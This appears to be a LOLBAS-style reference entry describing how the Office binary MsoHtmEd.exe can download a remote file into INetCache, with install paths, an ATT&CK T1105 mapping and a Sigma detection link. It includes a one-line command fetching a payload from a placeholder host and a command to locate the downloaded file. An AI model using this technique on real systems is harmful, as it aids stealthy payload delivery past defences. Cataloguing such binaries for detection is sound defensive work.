.. /MsoHtmEd.exe
Star

Download (INetCache)

Microsoft Office component

Paths:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSOHTMED.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office16\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office16\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSOHTMED.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office15\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office15\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSOHTMED.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office14\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office14\MSOHTMED.exe
C:\Program Files (x86)\Microsoft Office\Office12\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe
C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe

Acknowledgements:

Nir Chako (Pentera) (@C_h4ck_0)

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml
IOC: Suspicious Office application internet/network traffic

Download

Downloads payload from remote server
```
MsoHtmEd.exe https://example.com/payload
```
Use case
It will download a remote payload and place it in INetCache.

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1105
Tags
Download: INetCache
INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"